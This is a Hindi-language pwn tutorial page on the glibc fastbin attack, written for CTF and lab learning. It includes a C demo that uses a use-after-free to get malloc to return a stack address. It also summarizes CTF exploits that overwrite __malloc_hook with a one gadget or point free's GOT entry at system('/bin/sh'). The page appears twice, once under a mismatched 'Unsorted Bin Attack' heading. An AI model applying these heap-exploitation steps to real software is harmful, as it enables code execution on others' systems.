Fast Bin Attack

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Basic Information

फास्ट बिन के बारे में अधिक जानकारी के लिए इस पृष्ठ को देखें:

Bins & Memory Allocations

चूंकि फास्ट बिन एक सिंगली लिंक्ड लिस्ट है, इसलिए अन्य बिनों की तुलना में सुरक्षा बहुत कम होती है और बस एक फ्रीड फास्ट बिन चंक में एक पते को संशोधित करना पर्याप्त है ताकि बाद में किसी भी मेमोरी पते पर एक चंक आवंटित किया जा सके।

सारांश के रूप में:

ptr0 = malloc(0x20);
ptr1 = malloc(0x20);

// Put them in fast bin (suppose tcache is full)
free(ptr0)
free(ptr1)

// Use-after-free
// Modify the address where the free chunk of ptr1 is pointing
*ptr1 = (unsigned long)((char *)&<address>);

ptr2 = malloc(0x20); // This will get ptr1
ptr3 = malloc(0x20); // This will get a chunk in the <address> which could be abuse to overwrite arbitrary content inside of it

आप एक बहुत अच्छी तरह से समझाई गई कोड में पूरा उदाहरण https://guyinatuxedo.github.io/28-fastbin_attack/explanation_fastbinAttack/index.html पर पा सकते हैं:

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

int main(void)
{
puts("Today we will be discussing a fastbin attack.");
puts("There are 10 fastbins, which act as linked lists (they're separated by size).");
puts("When a chunk is freed within a certain size range, it is added to one of the fastbin linked lists.");
puts("Then when a chunk is allocated of a similar size, it grabs chunks from the corresponding fastbin (if there are chunks in it).");
puts("(think sizes 0x10-0x60 for fastbins, but that can change depending on some settings)");
puts("\nThis attack will essentially attack the fastbin by using a bug to edit the linked list to point to a fake chunk we want to allocate.");
puts("Pointers in this linked list are allocated when we allocate a chunk of the size that corresponds to the fastbin.");
puts("So we will just allocate chunks from the fastbin after we edit a pointer to point to our fake chunk, to get malloc to return a pointer to our fake chunk.\n");
puts("So the tl;dr objective of a fastbin attack is to allocate a chunk to a memory region of our choosing.\n");

puts("Let's start, we will allocate three chunks of size 0x30\n");
unsigned long *ptr0, *ptr1, *ptr2;

ptr0 = malloc(0x30);
ptr1 = malloc(0x30);
ptr2 = malloc(0x30);

printf("Chunk 0: %p\n", ptr0);
printf("Chunk 1: %p\n", ptr1);
printf("Chunk 2: %p\n\n", ptr2);


printf("Next we will make an integer variable on the stack. Our goal will be to allocate a chunk to this variable (because why not).\n");

int stackVar = 0x55;

printf("Integer: %x\t @: %p\n\n", stackVar, &stackVar);

printf("Proceeding that I'm going to write just some data to the three heap chunks\n");

char *data0 = "00000000";
char *data1 = "11111111";
char *data2 = "22222222";

memcpy(ptr0, data0, 0x8);
memcpy(ptr1, data1, 0x8);
memcpy(ptr2, data2, 0x8);

printf("We can see the data that is held in these chunks. This data will get overwritten when they get added to the fastbin.\n");

printf("Chunk 0: %s\n", (char *)ptr0);
printf("Chunk 1: %s\n", (char *)ptr1);
printf("Chunk 2: %s\n\n", (char *)ptr2);

printf("Next we are going to free all three pointers. This will add all of them to the fastbin linked list. We can see that they hold pointers to chunks that will be allocated.\n");

free(ptr0);
free(ptr1);
free(ptr2);

printf("Chunk0 @ 0x%p\t contains: %lx\n", ptr0, *ptr0);
printf("Chunk1 @ 0x%p\t contains: %lx\n", ptr1, *ptr1);
printf("Chunk2 @ 0x%p\t contains: %lx\n\n", ptr2, *ptr2);

printf("So we can see that the top two entries in the fastbin (the last two chunks we freed) contains pointers to the next chunk in the fastbin. The last chunk in there contains `0x0` as the next pointer to indicate the end of the linked list.\n\n");


printf("Now we will edit a freed chunk (specifically the second chunk \"Chunk 1\"). We will be doing it with a use after free, since after we freed it we didn't get rid of the pointer.\n");
printf("We will edit it so the next pointer points to the address of the stack integer variable we talked about earlier. This way when we allocate this chunk, it will put our fake chunk (which points to the stack integer) on top of the free list.\n\n");

*ptr1 = (unsigned long)((char *)&stackVar);

printf("We can see it's new value of Chunk1 @ %p\t hold: 0x%lx\n\n", ptr1, *ptr1);


printf("Now we will allocate three new chunks. The first one will pretty much be a normal chunk. The second one is the chunk which the next pointer we overwrote with the pointer to the stack variable.\n");
printf("When we allocate that chunk, our fake chunk will be at the top of the fastbin. Then we can just allocate one more chunk from that fastbin to get malloc to return a pointer to the stack variable.\n\n");

unsigned long *ptr3, *ptr4, *ptr5;

ptr3 = malloc(0x30);
ptr4 = malloc(0x30);
ptr5 = malloc(0x30);

printf("Chunk 3: %p\n", ptr3);
printf("Chunk 4: %p\n", ptr4);
printf("Chunk 5: %p\t Contains: 0x%x\n", ptr5, (int)*ptr5);

printf("\n\nJust like that, we executed a fastbin attack to allocate an address to a stack variable using malloc!\n");
}

यदि global_max_fast के मान को एक बड़े नंबर से ओवरराइट करना संभव है, तो यह बड़े आकार के फास्ट बिन चंक्स उत्पन्न करने की अनुमति देता है, संभावित रूप से उन परिदृश्यों में फास्ट बिन हमले करने की अनुमति देता है जहाँ पहले यह संभव नहीं था। यह स्थिति large bin attack और unsorted bin attack के संदर्भ में उपयोगी है।

उदाहरण

CTF https://guyinatuxedo.github.io/28-fastbin_attack/0ctf_babyheap/index.html:
चंक्स आवंटित करना, उन्हें मुक्त करना, उनके सामग्री को पढ़ना और उन्हें भरना (एक ओवरफ्लो भेद्यता के साथ) संभव है।
सूचना लीक के लिए चंक को समेकित करना: तकनीक मूल रूप से ओवरफ्लो का दुरुपयोग करके एक नकली prev_size बनाने के लिए है ताकि एक पिछले चंक्स को एक बड़े में रखा जा सके, इसलिए जब बड़े चंक्स को आवंटित किया जाता है जिसमें एक और चंक होता है, तो इसके डेटा को प्रिंट करना और libc के लिए एक पता लीक करना संभव है (main_arena+88)।
malloc हुक को ओवरराइट करना: इसके लिए, और पिछले ओवरलैपिंग स्थिति का दुरुपयोग करते हुए, 2 चंक्स को एक ही मेमोरी की ओर इशारा करते हुए प्राप्त करना संभव था। इसलिए, दोनों को मुक्त करना (सुरक्षाओं से बचने के लिए बीच में एक और चंक को मुक्त करना) यह संभव था कि फास्ट बिन में एक ही चंक 2 बार हो। फिर, इसे फिर से आवंटित करना संभव था, अगले चंक के पते को __malloc_hook से थोड़ा पहले इंगित करने के लिए ओवरराइट करना (ताकि यह एक पूर्णांक की ओर इशारा करे जिसे malloc एक मुक्त आकार मानता है - एक और बायपास), इसे फिर से आवंटित करना और फिर एक और चंक आवंटित करना जो malloc हुक के लिए एक पता प्राप्त करेगा। अंत में, वहाँ एक one gadget लिखा गया था।
CTF https://guyinatuxedo.github.io/28-fastbin_attack/csaw17_auir/index.html:
एक हीप ओवरफ्लो और उपयोग के बाद मुक्त और डबल फ्री है क्योंकि जब एक चंक मुक्त होता है तो इसे पुनः उपयोग और पुनः मुक्त करना संभव है।
Libc सूचना लीक: बस कुछ चंक्स को मुक्त करें और उन्हें मुख्य एरेना स्थान के एक भाग के लिए एक पता मिलेगा। चूंकि आप मुक्त किए गए पointers को पुनः उपयोग कर सकते हैं, बस इस पते को पढ़ें।
फास्ट बिन हमला: आवंटनों के सभी पointers एक एरे में संग्रहीत होते हैं, इसलिए हम कुछ फास्ट बिन चंक्स को मुक्त कर सकते हैं और अंतिम में पते को इस पointers के एरे से थोड़ा पहले इंगित करने के लिए ओवरराइट कर सकते हैं। फिर, समान आकार के कुछ चंक्स आवंटित करें और हमें पहले वैध एक मिलेगा और फिर नकली एक जो पointers के एरे को शामिल करेगा। हम अब इस आवंटन पointers को ओवरराइट कर सकते हैं ताकि free का GOT पता system की ओर इंगित करे और फिर चंक 1 में "/bin/sh" लिखें ताकि फिर free(chunk1) को कॉल किया जा सके जो इसके बजाय system("/bin/sh") को निष्पादित करेगा।
CTF https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html
एक और उदाहरण एक बाइट ओवरफ्लो का दुरुपयोग करके चंक्स को असंरचित बिन में समेकित करना और एक libc सूचना लीक प्राप्त करना और फिर malloc हुक को एक one gadget पते के साथ ओवरराइट करने के लिए फास्ट बिन हमले को निष्पादित करना।
CTF https://guyinatuxedo.github.io/33-custom_misc_heap/csaw18_alienVSsamurai/index.html
एक सूचना लीक के बाद असंरचित बिन का दुरुपयोग करते हुए UAF के साथ libc पता और एक PIE पता लीक किया गया, इस CTF का शोषण एक फास्ट बिन हमले का उपयोग करके एक चंक को उस स्थान पर आवंटित करने के लिए किया गया जहाँ नियंत्रित चंक्स के लिए पointers स्थित थे ताकि कुछ पointers को ओवरराइट करना संभव हो सके और GOT में एक one gadget लिखना।
आप एक फास्ट बिन हमला असंरचित बिन हमले के माध्यम से दुरुपयोग करते हुए पा सकते हैं:
ध्यान दें कि फास्ट बिन हमले करने से पहले libc/heap पते लीक करने के लिए फ्री-लिस्ट का दुरुपयोग करना सामान्य है (जब आवश्यक हो)।
Robot Factory. BlackHat MEA CTF 2022
हम केवल 0x100 से बड़े आकार के चंक्स आवंटित कर सकते हैं।
एक असंरचित बिन हमले का उपयोग करके global_max_fast को ओवरराइट करें (ASLR के कारण 1/16 बार काम करता है, क्योंकि हमें 12 बिट्स को संशोधित करने की आवश्यकता है, लेकिन हमें 16 बिट्स को संशोधित करना चाहिए)।
चंक्स के एक वैश्विक एरे को संशोधित करने के लिए फास्ट बिन हमला। यह एक मनमाना पढ़ने/लिखने की प्राइमिटिव देता है, जो GOT को संशोधित करने और कुछ कार्यों को system की ओर इंगित करने की अनुमति देता है।

Unsorted Bin Attack

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Last updated 3 days ago

Basic Information

फास्ट बिन के बारे में अधिक जानकारी के लिए इस पृष्ठ को देखें:

Bins & Memory Allocations

सारांश के रूप में:

ptr0 = malloc(0x20);
ptr1 = malloc(0x20);

// Put them in fast bin (suppose tcache is full)
free(ptr0)
free(ptr1)

// Use-after-free
// Modify the address where the free chunk of ptr1 is pointing
*ptr1 = (unsigned long)((char *)&<address>);

ptr2 = malloc(0x20); // This will get ptr1
ptr3 = malloc(0x20); // This will get a chunk in the <address> which could be abuse to overwrite arbitrary content inside of it

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

int main(void)
{
puts("Today we will be discussing a fastbin attack.");
puts("There are 10 fastbins, which act as linked lists (they're separated by size).");
puts("When a chunk is freed within a certain size range, it is added to one of the fastbin linked lists.");
puts("Then when a chunk is allocated of a similar size, it grabs chunks from the corresponding fastbin (if there are chunks in it).");
puts("(think sizes 0x10-0x60 for fastbins, but that can change depending on some settings)");
puts("\nThis attack will essentially attack the fastbin by using a bug to edit the linked list to point to a fake chunk we want to allocate.");
puts("Pointers in this linked list are allocated when we allocate a chunk of the size that corresponds to the fastbin.");
puts("So we will just allocate chunks from the fastbin after we edit a pointer to point to our fake chunk, to get malloc to return a pointer to our fake chunk.\n");
puts("So the tl;dr objective of a fastbin attack is to allocate a chunk to a memory region of our choosing.\n");

puts("Let's start, we will allocate three chunks of size 0x30\n");
unsigned long *ptr0, *ptr1, *ptr2;

ptr0 = malloc(0x30);
ptr1 = malloc(0x30);
ptr2 = malloc(0x30);

printf("Chunk 0: %p\n", ptr0);
printf("Chunk 1: %p\n", ptr1);
printf("Chunk 2: %p\n\n", ptr2);


printf("Next we will make an integer variable on the stack. Our goal will be to allocate a chunk to this variable (because why not).\n");

int stackVar = 0x55;

printf("Integer: %x\t @: %p\n\n", stackVar, &stackVar);

printf("Proceeding that I'm going to write just some data to the three heap chunks\n");

char *data0 = "00000000";
char *data1 = "11111111";
char *data2 = "22222222";

memcpy(ptr0, data0, 0x8);
memcpy(ptr1, data1, 0x8);
memcpy(ptr2, data2, 0x8);

printf("We can see the data that is held in these chunks. This data will get overwritten when they get added to the fastbin.\n");

printf("Chunk 0: %s\n", (char *)ptr0);
printf("Chunk 1: %s\n", (char *)ptr1);
printf("Chunk 2: %s\n\n", (char *)ptr2);

printf("Next we are going to free all three pointers. This will add all of them to the fastbin linked list. We can see that they hold pointers to chunks that will be allocated.\n");

free(ptr0);
free(ptr1);
free(ptr2);

printf("Chunk0 @ 0x%p\t contains: %lx\n", ptr0, *ptr0);
printf("Chunk1 @ 0x%p\t contains: %lx\n", ptr1, *ptr1);
printf("Chunk2 @ 0x%p\t contains: %lx\n\n", ptr2, *ptr2);

printf("So we can see that the top two entries in the fastbin (the last two chunks we freed) contains pointers to the next chunk in the fastbin. The last chunk in there contains `0x0` as the next pointer to indicate the end of the linked list.\n\n");


printf("Now we will edit a freed chunk (specifically the second chunk \"Chunk 1\"). We will be doing it with a use after free, since after we freed it we didn't get rid of the pointer.\n");
printf("We will edit it so the next pointer points to the address of the stack integer variable we talked about earlier. This way when we allocate this chunk, it will put our fake chunk (which points to the stack integer) on top of the free list.\n\n");

*ptr1 = (unsigned long)((char *)&stackVar);

printf("We can see it's new value of Chunk1 @ %p\t hold: 0x%lx\n\n", ptr1, *ptr1);


printf("Now we will allocate three new chunks. The first one will pretty much be a normal chunk. The second one is the chunk which the next pointer we overwrote with the pointer to the stack variable.\n");
printf("When we allocate that chunk, our fake chunk will be at the top of the fastbin. Then we can just allocate one more chunk from that fastbin to get malloc to return a pointer to the stack variable.\n\n");

unsigned long *ptr3, *ptr4, *ptr5;

ptr3 = malloc(0x30);
ptr4 = malloc(0x30);
ptr5 = malloc(0x30);

printf("Chunk 3: %p\n", ptr3);
printf("Chunk 4: %p\n", ptr4);
printf("Chunk 5: %p\t Contains: 0x%x\n", ptr5, (int)*ptr5);

printf("\n\nJust like that, we executed a fastbin attack to allocate an address to a stack variable using malloc!\n");
}

उदाहरण

CTF https://guyinatuxedo.github.io/28-fastbin_attack/0ctf_babyheap/index.html:

चंक्स आवंटित करना, उन्हें मुक्त करना, उनके सामग्री को पढ़ना और उन्हें भरना (एक ओवरफ्लो भेद्यता के साथ) संभव है।

सूचना लीक के लिए चंक को समेकित करना: तकनीक मूल रूप से ओवरफ्लो का दुरुपयोग करके एक नकली prev_size बनाने के लिए है ताकि एक पिछले चंक्स को एक बड़े में रखा जा सके, इसलिए जब बड़े चंक्स को आवंटित किया जाता है जिसमें एक और चंक होता है, तो इसके डेटा को प्रिंट करना और libc के लिए एक पता लीक करना संभव है (main_arena+88)।

malloc हुक को ओवरराइट करना: इसके लिए, और पिछले ओवरलैपिंग स्थिति का दुरुपयोग करते हुए, 2 चंक्स को एक ही मेमोरी की ओर इशारा करते हुए प्राप्त करना संभव था। इसलिए, दोनों को मुक्त करना (सुरक्षाओं से बचने के लिए बीच में एक और चंक को मुक्त करना) यह संभव था कि फास्ट बिन में एक ही चंक 2 बार हो। फिर, इसे फिर से आवंटित करना संभव था, अगले चंक के पते को __malloc_hook से थोड़ा पहले इंगित करने के लिए ओवरराइट करना (ताकि यह एक पूर्णांक की ओर इशारा करे जिसे malloc एक मुक्त आकार मानता है - एक और बायपास), इसे फिर से आवंटित करना और फिर एक और चंक आवंटित करना जो malloc हुक के लिए एक पता प्राप्त करेगा। अंत में, वहाँ एक one gadget लिखा गया था।

CTF https://guyinatuxedo.github.io/28-fastbin_attack/csaw17_auir/index.html:

एक हीप ओवरफ्लो और उपयोग के बाद मुक्त और डबल फ्री है क्योंकि जब एक चंक मुक्त होता है तो इसे पुनः उपयोग और पुनः मुक्त करना संभव है।

Libc सूचना लीक: बस कुछ चंक्स को मुक्त करें और उन्हें मुख्य एरेना स्थान के एक भाग के लिए एक पता मिलेगा। चूंकि आप मुक्त किए गए पointers को पुनः उपयोग कर सकते हैं, बस इस पते को पढ़ें।

फास्ट बिन हमला: आवंटनों के सभी पointers एक एरे में संग्रहीत होते हैं, इसलिए हम कुछ फास्ट बिन चंक्स को मुक्त कर सकते हैं और अंतिम में पते को इस पointers के एरे से थोड़ा पहले इंगित करने के लिए ओवरराइट कर सकते हैं। फिर, समान आकार के कुछ चंक्स आवंटित करें और हमें पहले वैध एक मिलेगा और फिर नकली एक जो पointers के एरे को शामिल करेगा। हम अब इस आवंटन पointers को ओवरराइट कर सकते हैं ताकि free का GOT पता system की ओर इंगित करे और फिर चंक 1 में "/bin/sh" लिखें ताकि फिर free(chunk1) को कॉल किया जा सके जो इसके बजाय system("/bin/sh") को निष्पादित करेगा।

CTF https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html

एक और उदाहरण एक बाइट ओवरफ्लो का दुरुपयोग करके चंक्स को असंरचित बिन में समेकित करना और एक libc सूचना लीक प्राप्त करना और फिर malloc हुक को एक one gadget पते के साथ ओवरराइट करने के लिए फास्ट बिन हमले को निष्पादित करना।

CTF https://guyinatuxedo.github.io/33-custom_misc_heap/csaw18_alienVSsamurai/index.html

एक सूचना लीक के बाद असंरचित बिन का दुरुपयोग करते हुए UAF के साथ libc पता और एक PIE पता लीक किया गया, इस CTF का शोषण एक फास्ट बिन हमले का उपयोग करके एक चंक को उस स्थान पर आवंटित करने के लिए किया गया जहाँ नियंत्रित चंक्स के लिए पointers स्थित थे ताकि कुछ पointers को ओवरराइट करना संभव हो सके और GOT में एक one gadget लिखना।

आप एक फास्ट बिन हमला असंरचित बिन हमले के माध्यम से दुरुपयोग करते हुए पा सकते हैं:

ध्यान दें कि फास्ट बिन हमले करने से पहले libc/heap पते लीक करने के लिए फ्री-लिस्ट का दुरुपयोग करना सामान्य है (जब आवश्यक हो)।

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हम केवल 0x100 से बड़े आकार के चंक्स आवंटित कर सकते हैं।

एक असंरचित बिन हमले का उपयोग करके global_max_fast को ओवरराइट करें (ASLR के कारण 1/16 बार काम करता है, क्योंकि हमें 12 बिट्स को संशोधित करने की आवश्यकता है, लेकिन हमें 16 बिट्स को संशोधित करना चाहिए)।

चंक्स के एक वैश्विक एरे को संशोधित करने के लिए फास्ट बिन हमला। यह एक मनमाना पढ़ने/लिखने की प्राइमिटिव देता है, जो GOT को संशोधित करने और कुछ कार्यों को system की ओर इंगित करने की अनुमति देता है।

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